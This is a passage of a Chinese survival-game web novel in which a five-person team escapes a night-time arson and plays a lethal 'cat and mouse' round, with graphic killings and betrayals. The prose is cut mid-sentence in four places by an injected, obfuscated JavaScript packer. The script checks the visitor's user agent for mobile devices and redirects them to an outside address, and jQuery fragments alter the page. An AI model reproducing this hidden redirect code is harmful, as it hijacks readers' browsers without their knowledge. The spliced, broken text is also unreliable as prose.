宿舍门被再次推开时,初与序正靠在窗边擦拭短刀。 随歌人还没进来,声音已经响彻整个房间:“同志们,我们活着回来啦!意哥我本来可以给你带蜂蜜水的,但太难喝了…哎意哥呢?” 景明垂从医疗箱前抬头,手里还拿着沾血的棉签:“意哥回宿舍后就晕过去了。你们怎么这么晚回来?” 随歌一听就明白,江意这是因为胃痛痛晕过去了,他立刻一个滑跪扑到江意床边,竹扇舞得呼呼作响。见江意此刻呼吸平稳无大碍,他才松了口气,朝景明垂解释: “哎呀你是不知道!我们那桌有个暴躁老哥,非要和我讨论宇宙大爆炸是不是火锅炸了。” 见几个队友都无大碍,冬逢初走到初与序身旁,轻轻按住她想起身的动作。月光透过窗户,照在她额角新增的伤口上。 “被什么东西砸到了?”他指尖悬在伤口上方,没敢触碰。 “自己撞到了。”初与序睁着眼说瞎话。 “你俩别腻歪了!”随歌突然从中间挤进来,将几块压缩饼干分发,“快来分赃!我们在比赛里的最后一餐,明天这时候我们就回永冬之城了!” 【第四场游戏存活人数:40/315】 【第五场游戏将于明早七点开始,请各位做好准备。】 “先休息吧。”初与序淡淡道,五人纷纷躺下。 不远处,屠宰场的队伍死死盯着几人,他们对视一眼,露出一个阴森森的笑容,等待着下一场游戏的到来。 不知睡了多久,浓烟涌入门缝的时候,初与序睁开眼,一骨碌爬起来。 眼前一片血红,不是梦境,而是真实的光。天花板垂落的电线噼里啪啦,热浪扭曲了空气。她下意识去摸腰间的短刀,却触到一只冰凉的手。 “别动。”景明垂的声音在浓烟中异常清晰,一块湿毛巾已经捂在她口鼻上,“有人放火。” 远处传来随歌的骂声:“操!老子竹扇能量不足!还在恢复!灭不了火!”紧接着是冬逢初的咳嗽声和江意虚弱的喘息。 初与序刚要站起身,右眼突然传来撕裂般的剧痛。失明的黑暗与浓烟交织,左眼在此刻的环境下仅能看见模糊晃动的火光。耳边响起尖锐的嗡鸣,是熟悉的PTSD发作前兆。 “初与序!”景明垂的厉喝将她拉回现实,一根燃烧的横梁砸在她们脚边,火星溅上手背,“跟我走!” 琴弦缠上初与序的腰,景明垂拉着她的手冲入浓烟。走廊已成火海,不断有玩家尖叫着从宿舍滚出。有人浑身是火,有人背后插着匕首。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16225644|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 初与序的左眼勉强辨认出几个身影在互相砍杀,是那些等不及最后一场游戏的疯子。 “低头!”景明垂突然按住她的肩膀,一张燃烧的扑克牌擦着发梢飞过,钉入身后偷袭者的眼球。初与序回头,隐约看见齐无尽站在楼梯口,手里的扑克牌正在引燃更多的火源。 右眼突然传来钻心的痛,初与序踉跄着跪倒,捂住右眼,世界在眩晕中天旋地转。恍惚间有个陌生玩家拽住她的衣领,刀尖直取她完好的左眼! 下一秒,琴弦割断偷袭者的喉咙。景明垂拽起初与序撞进消防通道。楼梯间相对安全,但初与序的呼吸已经越来越急促,PTSD引发的窒息感比浓烟更致命。 “看着我。”景明垂拉过她的手,沾血的手指在她手心里画了道竖线,“这是锚点,能看清吗?” 初与序涣散的视线艰难聚焦,那道血痕在火光中微微发亮,像黑暗中的路标。 “吸气。”景明垂握紧她颤抖的手,轻声说。 初与序跟着指令深呼吸,三分钟后,她终于能勉强站稳。而景明垂的右手已经血肉模糊,她为了保持清醒,捡了一块玻璃瓶,徒手捏碎。 “能走吗?”她指向安全出口的荧光标,“十二米。” 初与序点头,却在迈步时听到头顶传来不祥的断裂声。景明垂反应极快地把她推开,燃烧的楼梯“轰!”地砸在两人之间。 “从管道走,看不清路就摸着墙!”景明垂的声音隔着火墙传来,“竞技场安全门会合!” 初与序掀开通风管盖,回头看了一眼,景明垂已经转身冲向火场。 通风管道内闷热狭窄,金属壁被烈火烤得发烫。初与序的膝盖磨出血痕,右眼的剧痛让每一次爬行都像在刀尖上移动。她咬紧牙关,用短刀在管壁上刻下深深的十字标记。 管道突然传来震动,远处有重物砸落的闷响。初与序屏住呼吸,听到下方传来打斗声: “你一定有解毒剂!交出来!”一个嘶哑的男声吼道。 紧接着是虚弱的咳嗽声,初与序认出了声音,是江意! 她立刻用刀撬开身下的检修板,透过缝隙,她看到江意背靠着配电箱,机械手环手闪着危险的红色低电警告。三个玩家围着他,其中一个伸手正要碰他。 初与序没有犹豫,直接撞开检修板从天而下! 她精准地落在为首者背后,短刀贯穿对方肩膀。另外两人还没反应过来,初与序已经拔出刀,刀锋横划,一人喉间顿时血如泉涌。 “初与序…”江意咳嗽着撑起身子,嘴角溢出鲜血,“景明垂去找随歌了,冬逢初不知道在哪里…” 最后一个袭击者扑来,江意微微抬手,重力场扭曲的空气,那人像被无形的手掐住脖子般浮空挣扎。 “走!”江意拽住初与序,“火要烧过来了!” 两人从死人堆里冲出,弯弯绕绕找到路,推开中庭的安全门,只见前方站着几个活人。冬逢初站在某建筑的残害上,长剑钉穿了一个纵火者的胸膛;景明垂坐在不远处,给被烟呛晕过去的随歌止血。 随歌突然诈尸般坐起来:“咳咳咳!老子竹扇差点被烤焦!”他举起焦了一小片的竹扇,痛心疾首,“这波亏大了!哪个杀千刀的大半夜放火?!” 景明垂一脚给他踹回去:“别动,伤口裂了!” 100.求求你们互相背刺吧 火势渐弱,幸存的玩家三三两两出现。初与序数了数,算上齐无尽,还有三十五人。 几位执行官缓步走来,脚步声很轻,最终停在众人面前。为首的冷冰冰开口:“第五场游戏还有三小时开始。” 短暂的寂静之后,一个浑身烧伤的玩家猛地冲上前:“你们他妈的怎么管理的?!”他指着仍在燃烧的建筑,又指向站在角落里满不在乎的男人,“他大半夜放火,趁机杀人也是允许的?!” 执行官微微偏头,眼睛毫无波动:“规则允许一切手段。” “放屁!”另一个断臂玩家怒吼着冲上去,一把揪住执行官的衣领,“你们这些疯子……” “哔——”刺耳的电子音响起。 玩家的颈环突然亮起刺目的红光,他的表情瞬间凝固,下一秒头颅如熟透的西瓜般炸开,鲜血和脑浆溅在执行官的制服上。无头尸体缓缓倒下,发出沉闷的撞击声。 哦,现在只剩下人三十四了。 全场死寂,放火者抱臂看着尸体,翻了个白眼,面上明晃晃写着三个字:“活该”。 执行官站在尸体旁,鞋子碾过地上鲜血:“愤怒?委屈?”他忽然提高音量,“你们摸着良心说,来参加团队赛的玩家,哪一个是真的好人?!” 他踢了踢旁边的尸体:“这位刚才还想用同伴当肉盾呢。” 又走到齐无尽面前:“这位先生,用扑克牌割喉的感觉如何?” 再转向一个锁在角落里的玩家:“而你,为了半块饼干捅死了队友吧?” “多可笑,各位现在装什么正义使者?你们来参赛,不就是为了最终的高额积分?为了稀有奖励品?在这里,弱肉强食就是唯一的规则。被火烧死的,被同伴背叛的,被自己蠢死的,都是活该被淘汰的。” “不过…我最欣赏你们队。”执行官凑到初与序五人面前,“杀人时干脆利落,互救时也毫不拖沓。” “最终游戏马上开始,让我看看…你们的信任能坚持到最后吗?” 随歌的竹扇“啪”地合拢:“这逼话真多。” 执行官耸耸肩,站直身体,朝众人颔首,随后和其余执行官离场。 宿舍方向的大火渐渐被扑灭,只余下几缕黑烟在废墟间缭绕。玩家们回到宿舍,各自找地方休息。 初与序靠在半塌的墙边,短刀横放在膝上,目光冷淡地望向远处的人群。那里,几个幸存的玩家正围着那个最初放火的男人拳打脚踢,咒骂声在空旷的场地回荡。 “活该!”随歌一边龇牙咧嘴地让景明垂包扎伤口,一边还不忘点评,“放火烧人也不看着点地方,差点把老子的竹扇和面板里的草莓牛奶烧没了!” 冬逢初无奈地摇摇头,将几瓶水分给四人。初与序接过,小抿一口,清水冲淡了些许喉咙里的烟熏火燎感。而另一边,江意正烦躁地调试受损的机械手环,零件散落一地。 宿舍渐渐安静下来,那些围殴放火者的玩家也打累了,三三两两地散开。有人直接躺在地上呼呼大睡,有人警惕地抱着武器缩在角落。几个重伤员在不远处呻吟,没人来得及管他们。 而齐无尽,他独自坐在燃烧过的残骸上,手里拿着普通的新扑克牌,正一张张地往火堆里扔。每扔一张,就有一簇小火苗窜起,又很快熄灭。 初与序总觉得,这个人来参加团队赛的目的,不仅仅是为了奖励品,还是在测试某件事。 “那家伙是不是有病?”随歌吐槽,“大半夜玩火,也不怕把剩下的人都送走。” 听得一清二楚的齐无尽:“……” 远处传来几声压抑的啜泣,不知是谁在哭。更远的地方,执行官们冷眼旁观,等待着三小时后的最后一场游戏。 随歌突然又直起身:“你们说。第五场游戏会是什么?” “大逃杀?迷宫?或者是对抗赛?”冬逢初猜测,温声说。 随歌又“啪嗒”一下躺回地上,盯着被大火浓烟熏得焦黑的天花板发呆。 空气里有焦糊的味道,初与序闭上眼睛,听着身边同伴均匀的呼吸声。随歌已经歪倒在一个被烧毁的床架上睡着;江意终于修好了手环,靠在墙上小憩;景明垂依旧保持警惕,随时准备应对突发状况。 而冬逢初就坐在她身边,体温透过相贴的肩膀传来,让人莫名安心。 刺耳的起床铃将所有人叫醒,初与序醒来,看见穿着黑色制服的执行官站在宿舍中央,微微笑道:“第五场游戏,现在开始。” 所有人从地上站起身,有序地站在执行官面前,等待执行官宣布规则。 “游戏名称:《猫捉老鼠》。” 全息影像分裂成红蓝两色,红色光点组成狰狞的猫形,蓝色光点则化作逃窜的老群。 “34位玩家,分为11只猫,以及23只老鼠。猫比老鼠强,但老鼠比猫多。” “猫的任务,是猎杀老鼠,每只猫必须击杀至少2只老鼠,否则颈环自爆;你们力量强化,攻击力极高,可短暂激活红外视觉,每10分钟一次,持续30秒。” “老鼠的任务,是存活到天亮。你们速度强化,闪避高,永远危险感知能力。同时,地图会随机刷新树洞,仅限老鼠进入,最多容纳三人。” “猎杀规则,允许任何手段,武器、陷阱、环境利用,甚至欺骗。背叛许可,同阵营可互相残杀,无惩罚。” “据我所知,在猫的阵营里,他们会组队围猎落单老鼠,虐杀取乐;或故意放过弱者,让其引路。而在老鼠的阵营里,他们会伪装求救,诱杀猫;或驱逐弱者当诱饵。” “不过,也有混乱联盟。猫鼠秘密合作?可以,但记住,黎明前,合作者必定会互相背刺。” “游戏时间:24小时。” “现在分配身份。” 所有人的颈环开始高频闪烁,红蓝交替的光斑在墙壁上疯狂跳动。初与序感到后颈一痛,金属环像活物般收缩。她侧头看向景明垂,她的颈环正逐渐凝固成大海般的蓝色。 “身份锁定。” 初与序低头,看见自己锁骨处投下的幽幽蓝光。余光里,随歌的颈环同样泛着蓝芒,而冬逢初和江意的已经变成刺目的红。更远处,齐无尽低头看着自己血红的颈环,没有什么情绪。 “红环为猫,蓝环为鼠。”执行官忽然低低笑道,“我们鼓励创造性玩法。此外,杀死敌阵营与同阵营的玩家,都会按照人数加积分。” “意哥。”初与序忽然拉住江意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16225645|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声询问:“齐无尽的技能是什么?” 江意没有隐瞒,立即回答:“基础技能里,黑桃是攻击,红心是治愈,方片是提高攻击率,梅花是毒物。随机抽取,抽到的数字越大,效果越强,但他的精神值和理智值会受到一半反噬。” “「皇家斩」可以连续三段暴击;「同花顺」无敌一秒;「对子」能复制一次当前技能。「Joker」可以以命换命。组合技能只能用一次。” 他看了自己队伍里三只老鼠一眼,低声叮嘱:“尽量别对上他,他的职业是澳门赌场荷官,会出千。” “要是真的对上了,就下死手,或者找机会离开。” 他话音刚落,宿舍所有灯光突然熄灭。黑暗中,颈环的红蓝光芒如鬼火般浮动。初与序听见此起彼伏的抽气声,有人撞翻了床架,撞击声在封闭空间里格外刺耳。 “游戏场地:废弃居民楼。” “传送开始。” 下一秒,初与序感觉到一阵天旋地转,仿佛被无形的巨手粗暴地拽入深渊。 她的意识被黑暗中漂浮了几秒,随后猛地被刺鼻的霉味呛醒。睁开眼时,自己躺在地上,视线里时斑驳发黄的天花板。她撑着手肘起身,左右看了看。 这里是废弃居民楼的第四层,月光从破碎的窗户斜射进来,在走廊上切割出阴暗交错的牢笼。远处传来水管漏水的滴答声,每一声都像倒计时的秒针。 五米外的消防栓旁,另一个蓝环玩家正缓缓起身。那是个扎着马尾的年轻女孩,右手握着半截钢管,两人的目光在黑暗中相撞。 整整三秒的僵持后,女孩突然转身冲向安全通道,脚步声很快消失。初与序没有追击,只是蹲下来摸了摸地面。厚厚的灰尘上有两串新鲜的脚印,一串属于那个女孩,另一串更重,更凌乱,是猫的脚印。 她走向最近的房间,门轴发出吱呀声。衣柜的镜子碎片里,映出她瘦弱的身形和颈间幽幽发亮的蓝环。 窗外突然划过一道红外线的冷光,像毒蛇的信子舔过窗框。初与序屏住呼吸贴墙而立,抽出腰间短刀,在掌心转了个圈,牢牢握住。 走廊里传来沉重的脚步声,伴随着金属摩擦地面的刺耳声响。 初与序微微侧头,透过破碎的玻璃窗,看到两道高大的身影从走廊经过。竟然是林海和杜明,他们颈间的红环在黑暗中显眼。 林海手里拖着一根生锈的铁管,尖端沾着已经干透的血迹。杜明则把玩着一把弹簧刀,刀刃在月光下反射出寒光。 “ ‘屠宰场’的人应该在三楼集合了。”林海压低声音,语气里带着兴奋,“先把二把手交代的那三个新人处理掉。初与序、景明垂,还有那个拿剑的小子。” 杜明冷笑一声:“冬逢初?我记得他是猫,你确定要动自己人?” “那小子太碍事了。”林海啐了一口,“刚刚看到他,他遇到一只老鼠竟然没有动手。妈的,装什么清高!” “先杀初与序,她一个半瞎,现在又是晚上,正是好机会。”杜明说。 两人的脚步声渐渐远去,初与序依旧一动不动蹲在窗下,直到他们的身影彻底消失在走廊尽头,连脚步声也听不见了,她才站起来。 该行动了。 101.求求你们互相背刺吧 初与序走出门外,短刀握在手里,紧贴手腕。 在走廊尽头,一具老鼠的尸体忽然出现在楼梯口。那是个年轻男孩,喉咙被利刃划开,眼睛还惊恐地大睁着。他的手指死死抠进地板缝隙,身下拖出长长的血痕,似乎死前还在拼命爬向某个方向。 没想到这么快就有玩家死了。 三楼忽然传来尖叫声,初与序贴着墙根移动,听见楼下杂乱的脚步声。透过断裂的栏杆,她看到一幕荒诞剧: 两只老鼠正互相撕扯着头发滚下楼梯,其中一人手里攥着半块碎玻璃,狠狠扎进同伴的眼窝。 “是你先出卖我的!”受伤者尖叫着,用膝盖猛击对方腹部。他们滚到平台处,撞翻了一个垃圾桶,腐烂的垃圾倾泻而下,盖住了这场同族相残。 头顶突然掠过红外线的冷光,初与序立刻蜷进角落。五楼走廊,三只猫正围猎一只落单的老鼠。那是个戴眼镜的姑娘,她颤抖着后退,后背抵上断裂的栏杆:“我、我可以带你们找其他老鼠!” 为首的猫咧嘴一笑,露出犬齿:“好啊。” 可就在女孩松懈的瞬间,他猛地拽住她的头发,将整个人提起悬在栏杆外:“你先说说,初与序在哪里?” 女孩的双腿在空中乱蹬,眼镜滑落到四楼平台,摔得粉碎。初与序快速记住那几只猫的面容,短刀已经出鞘三分,却在此刻听到隔壁房间传来竹扇开合的轻响。 楼上的猫突然松手,女孩的惨叫声伴随着重物坠落的闷响。初与序最后看了一眼楼下扭曲的尸体,转身闪入声源处的房间。 破败的儿童房里,随歌正用竹扇抵着一个壮汉的咽喉。地上趴着两只猫,喉间缠着景明垂的琴弦。见来人是初与序,随歌松了口气:“原来是你。不是我说,你走路怎么没声音啊?差点没给本帅哥吓死。” 景明垂从衣柜后走出,勾了勾手指,那两根琴弦自动飞回她左手手腕:“这场游戏的节奏很快,游戏开始不到半小时,我已经看见三只老鼠的尸体了。” “先去找鼠洞。”初与序简短道。 三人再次组队,贴着墙根潜行,腐朽的地板在脚下发出细微的声响。他们慢慢转过三楼的拐角,走到走廊上。但映入眼帘的是六只红环猫正围着一只瑟瑟发抖的老鼠,像群狼戏弄垂死的猎物。 而其中,江意抱臂倚在窗边,机械手环亮起幽蓝的光。冬逢初的长剑指着地面,剑尖沾着未干的血迹。 被围在中央的老鼠站在角落,满脸是血,绝望地举起双手:“我真的可以帮你们找鼠洞!那里一定有很多老鼠!” 为首的猫冷笑一声,举起铁棍:“不需要。” 就在铁棍即将落下的前一秒,一只猫突然转过头,红外视觉的红光扫过三人藏身的阴影:“有老鼠!” 所有的猫全部转头,盯着三人。为首的冷笑:“有送上门的老鼠来了。” 没有犹豫的余地,景明垂的琴弦率先破空而来,缠向最近的猫。随歌竹扇展开,狂风卷着碎玻璃形成屏障。初与序则突进,短刀直取右侧猫的咽喉。却在最后一寸偏转刀锋,用刀背狠狠击打对方颈动脉。 “杀了他们!”猫们咆哮着扑来。 自己队伍里的五人对视一眼,立刻明白了对方的意思。江意的手环蓝光微闪,走廊重力突然絮乱,让扑来的猫一个踉跄。冬逢初的长剑骤然转向,却在中途变招,剑身拍向初与序的短刀。 “铛”的一声脆响,火花四溅。两人错身而过的瞬间,冬逢初低声道:“东南角有鼠洞,是地下室。” 景明垂的琴弦缠住了江意的手腕,她轻轻一拉,在靠近的瞬间轻声说:“屠宰场的人就在这一层楼。” 其余六只猫怒吼着加入战斗,初与序的短刀与陌生猫的匕首激烈碰撞,刀锋直直刺向她完好的左眼,却在下一秒,景明垂控制琴弦及时缠上矛盾手腕,随歌的竹扇卷着狂风将人拍向墙壁。 初与序趁机握紧短刀,一个滑步切入猫面前,刀尖自上而下刺入下颌。温热的血喷在她锁骨上,猫的瞳孔急速放大,又被冬逢初一个“踉跄”踹倒在地。 “非常抱歉!”冬逢初柔声道歉,再抬手一记手刀,将其打晕过去。 混乱中,他的竹扇掀起迷蒙水雾,景明垂的琴弦在阴影中织就陷阱。江意操控着重力场,让几只猫的攻击频频落空。看似激烈的厮杀,实则双方五人招招留手。 当初与序的短刀挑飞一只猫的武器时,她忽然收手:“走!” 五人在拐角处短暂对视,没有言语,但紧绷的嘴角都松了一分。初与序的短刀归鞘,转身撞开东南角的防火门,和另外两人冲下楼梯。 身后传来杂乱的脚步声和怒吼,转过拐弯时,景明垂忽然拽住初与序的衣摆:“看下面!” 楼梯井底部,两只猫正仰头看来,红外扫描的冷光已经锁定了他们。 “靠,没完没了了是吧?”随歌展开竹扇,浓雾四起。借着雾气掩护,初与序踹开身旁的配电室门板。狭窄的空间里堆满发霉的档案柜,最深处地板上有块颜色略新的铁板。 琴弦迅速割开生锈的锁扣,铁板掀开,腐臭味扑面而来。垂直的金梯通向漆黑的地下室,仅容单人通过。 景明垂率先滑下梯子,初与序正要跟上,随歌忽然按住她肩膀,从面板里掏出个小瓶,将粉末撒在铁板边缘:“等等,先给追兵留点纪念品。” “这是什么?”初与序问。 “辣椒粉,给他们拌一拌。”随歌拍了拍手,得意道,“意哥看了都得夸我聪明。” 初与序沉默几秒,按住耳骨夹:“冬逢初,提醒意哥,你们俩别靠近东南角的老鼠洞。” 趁着猫还没追上来,两人立刻滑下梯子,来到地下室。黑暗吞没了一切,只有三人泛着蓝光的颈环勉强照亮这个不足十平米的避难所:墙面布满抓痕,角落里堆着发黑的铁钩,上面还挂着半截断裂的锁,这里显然不止做过老鼠的庇护所。 而在房间的角落里,躺着一具老鼠的尸体,腹部插着一把弯刀,显然是被谋杀死亡。 初与序用刀尖沾了点地上未干的鲜血:“血迹不超过半小时…果然,规则是错误的,那些猫也能进入老鼠洞。” “等等等等!”随歌猛地扭过头,“你的意思是,这破洞就是个自助餐食堂?我们搁这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16237864|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿蹲着,等猫老爷们掀了锅盖就能开饭?”他做了搁抹脖子的动作,“嘎嘣脆,老鼠味?” 初与序点点头:“我们要是在这里待久了,会被猫连锅端。这一点估计没多少猫和老鼠知道。” 仿佛印证她的话,头顶突然传来“咚”的一声闷响。铁板震动,簌簌落灰,三人立刻噤声。 “哈!”随歌压低声音怪笑,“所以这游戏的真谛是——‘亲爱的老鼠们,快出来遛弯儿啊,外面可多猫主子等着投喂呢!不出来也没事,猫主子们很快就会发现,他们也能进鼠洞!’。” 景明垂翻了个白眼:“再废话把你拖出去当诱饵。” 随歌委屈巴巴地比划了个拉拉链的动作。 初与序已经闪到梯子旁,耳朵贴在铁皮上。清晰地听到了追兵的脚步声在上方徘徊,突然爆发出惨叫。随歌之前撒的辣椒粉混合铁锈的混合物开始灼伤追兵的眼睛。 “哟,看我发现了什么。‘通风管道往锅炉房,别相信鼠洞’。”随歌从沙发缝里抠出半张发黄的纸条,吹了声口哨,“不出意外是之前老鼠的临终留言。” 初与序短刀一挑,角落的通风管盖子被挑开。锈蚀的管道深处,隐约传来风声。 “幸亏本帅哥够瘦,要不然肯定钻不进去。”随歌探头看了看,跟着初与序钻了进去。 初与序打头阵,短刀在管道内壁上刻下细小的记号。右眼的伤在潮湿的环境中隐隐作痛,但更让她在意的是管道深处传来的规律气流变化,像是有人刻意控制的呼吸声。 “咔。” 一声细微的金属轻响,初与序抬手握拳,身后两人立刻静止。她缓缓转头,看见前方几米处的关闭缝隙里,正渗出红光。 猫的技能,红外扫射。 “猫在下面,锅炉房东南角,至少两人。”她用气音说,手指在管壁上画出三个箭头。 随歌用嘴型比划着“完蛋”,竹扇无声展开防御结界。景明垂的琴弦灵活地游走,在管壁缠出消音的蛛网状结构。 红光越来越近。初与序对身后两人比了个手势,突然发力,短刀刺穿头顶的管壁。陈年的铁皮发出声响,三人趁机从破口滚入上层管道。就在他们离开的瞬间,一道红外光束精准扫过原先的位置。 “我操!”随歌捂住差点被铁皮划破的□□,“差点变成太监鼠!” 初与序:“……” 景明垂:“……” 透过管道的裂缝,可以清晰地看到锅炉房的全貌:两台锈成褐色的巨型锅炉占据中央,四周堆满煤渣。而东南角的阴影里,确实站着两只红环猫。其中一人正摆弄着类似热像仪的装置,另一人手持改装过的长矛,矛尖还滴着血。 初与序认出这两人就是刚刚在楼上逼问老鼠:“初与序在哪里”的屠宰场玩家。 一块锈铁突然从管道脱落,砸在下方煤堆上。两人立刻调转长矛,却在走近时被锅炉后突然窜出的黑影吸引了注意。那是只真正的动物老鼠,惊慌失措地撞翻了铁通。 “妈的,晦气!”持矛的男人一脚踢翻铁通。 趁着他们分神,三人立刻继续向上攀爬。 102.求求你们互相背刺吧 初与序停下动作,三人看见,前方管道尽头,透出微弱的月光,他们透过铁网缝隙向外看去,是六楼走廊,那里宛如人间炼狱,一片血海。 几个蓝环玩家被铁链倒吊在断裂的消防栓上,其中一人腹部被剖开,肠子垂到地面。鲜血顺着她的指尖滴落,在地面汇聚成一摊黏稠的湖泊。她的喉咙被割开一半,气管裸露在空气中,发出濒死的喘息。 “这是第七只。”阴影里走出三个红环玩家,为首的正是林海。他手里把玩着一把手术刀,刀尖挑着块血淋淋的皮肉,像是从受害者脸上剥下来的。 “挂醒目点。”林海对杜明抬了抬下巴,“让那些老鼠看看,跟屠宰场作对的下场。” 随歌瞳孔一缩,他刚要展开竹扇攻击,被身后的景明垂死死按住。用力掐了他一下,示意他不要乱来。 吊着的玩家突然抽搐起来,眼睛透过血雾,竟然精准对上了通风口的缝隙。她的嘴唇蠕动着,吐出几个带血的气音: “救……我……” 林海突然转身,红外视线扫过通风口。初与序的短刀飞快出鞘,随时准备动手。景明垂也撒开按出随歌的手,手指触上琴弦。 “奇怪。”林海眯起眼,“总觉得有老鼠。” 他身旁的同伙举起刀,刀尖对准通风管道:“要去试试看吗?” 时间仿佛被拉成细丝,三人缓缓抬腿,向这边迈出一步。 就在下一秒,走廊尽头的玻璃轰然爆裂!一道黑影裹着寒风突入,长剑如银龙出鞘,直接将拿刀者钉在墙上。 “冬逢初!”林海暴退数步,“你他妈疯了?!” 黑衣染血的青年沉默地拔出剑,脱下大衣,轻轻盖在将死少女的脸上,给这位将死者最后的尊严。 红外扫描的光束突然从另一个方向射来,初与序趁机拽着两人后退,三人滑向下层管道。身后传来林海歇斯底里地怒吼:“给我追!那两个新人肯定在附近!” 随歌颤抖着摸了把自己煞白的脸:“各位,我刚把毕生脏话都在心里骂完了。” 景明垂控制琴弦割开侧方管壁:“现在换一条路。” 初与序最后望了一眼通风口,月光透过血泊折射进来,在她脸上投射出破碎的红光。冬逢初的长剑还紧握在他手里,而林海正抄起一旁的钢管向他太阳穴砸去。 她转过头,跟着另外两人从通风管跳入五楼一间废弃浴室,满地碎裂的瓷砖踩在脚下。 三人发现,墙角蜷缩着一个扎马尾的蓝环姑娘,左腿被钢筋贯穿,鲜血已经浸透了大半个裤管。看到有人进来,她猛地一抖,随即认出是同阵营的老鼠,眼里瞬间迸发出希望的光。 “救…救命…”她声音嘶哑,染血的手指死死抓住初与序的裤脚,“我队友…在隔壁,屠宰场的人把他们…”话没说完就咳出一口血沫。 随歌蹲下来检查她的伤势,竹扇亮起治疗微光:“钢筋得拔出来,忍着点。” 没等对方反应,他利落地一抽! “啊!”女孩痛得弓起身,又被景明垂捂住嘴巴:“别叫,想把猫引来?” 初与序冷冷地看着女孩,短刀眨眼睛抵在她咽喉上:“你们队伍多少人?怎么伤的?” “三、三个…”女孩疼得直抽气,“我们在四楼药房找纱布…突然遇到屠宰场…阿杰推了我一把…自己却被…”她突然抓出初与序的手,“小雨还在那边!她腹部中刀…求你们…” 随歌挑眉:“妹妹,你难到不知道,随便拉人帮忙是很致命的吗?” 初与序盯着女孩的眼睛,那里面的恐惧很真实。她的指甲缝里还残留着挣扎时抓到的血肉。 “带路。”她忽然开口。 “什么?”景明垂和随歌转头看向她,却在看清她眼神后明白了什么,放弃阻拦。 三人跟着受伤的女孩穿过幽暗的走廊,每一步都踩在阴影里。女孩拖着伤腿,指向走廊尽头一扇半掩的门,门缝里渗出微弱的烛光:“就在…前面,他们快不行了…” 初与序瞥了一眼女孩,向前走去,轻轻推开门。 房间内一片昏暗,只有角落里一支快要燃尽的蜡烛,火光摇曳,映出地上几道模糊的人影。其中,有两个蓝环玩家倒在血泊中,一动不动。 “快…救救他们…”女孩踉跄着上前,声音颤抖。 初与序的视线扫过房间,下一秒,身后的门“砰”地一声被重重关上,金属锁扣“咔哒”落下的声音在黑暗中格外刺耳。烛光熄灭,房间陷入彻底的黑暗。 “欢迎啊,三位。”一个沙哑的男声从角落里传来,带着戏谑的笑意。 红外扫射的冷光突然亮起,五道红环在黑暗中浮现。与此同时,原本倒在地上的“尸体”站了起来,颈环上的蓝光闪烁了几下,切换成猫阵营的红色,五只叛变的老鼠冷笑着围了上来。 “真遗憾。”带路的女孩退到猫群身后,声音里再无半点虚弱,反而带着残忍的兴奋,“你们太好骗了。” 初与序的短刀横在胸前,左眼适应了黑暗,隐约能看清敌人的轮廓。五只猫堵在门口,五只叛变的老鼠封住了窗户,而他们三人被围在中央。 “啧,十对三?”随歌的竹扇“唰”地展开,语气依旧痞里痞气,“这赔率,赌场都不敢这么开啊。” 下一秒,十人从阴影中同时暴起,首当其冲的壮汉抡起铁链横扫,初与序矮身避让,链刃擦着头顶掠过,在墙面劈出蛛网裂痕。她趁机旋身突进,短刀扎向对方腹部,却被突然袭来的叛鼠用钢管格挡住。 金属碰转的火星忽然照亮随歌的链,他的竹扇贴着钢叉滑过,扇骨突然精准挑断叛鼠手筋。血线溅在他带笑的侧脸上:“惊喜吗?” 右侧的猫趁机挥砍,景明垂的琴弦缠上刀刃狠狠一拽。武器脱手的猫尚未惊呼,琴弦已经绕上脖颈。景明垂腾空而起,将对方踢向另一只扑来的猫。两颗头颅相撞的闷响混着骨裂声,在黑暗中格外清晰。 初与序刚好借着其中一具尸体,一个侧翻滚,短刀在水泥地面擦出一串火花。她单膝跪地的刹那,抬手用刀架住迎面劈来的铁链。 接着她忽然撤力下沉,铁链收势不及砸在地上。趁着对方重心前倾,她右腿一个扫堂腿攻其下盘,短刀同时上挑,刀锋沿着持链者的手腕旋转一周,完整地剥下一圈皮肉。 但屠宰场终究不是乌合之众,其余几人瞬间变阵。两只猫突然掷出渔网,铁钩倒刺闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 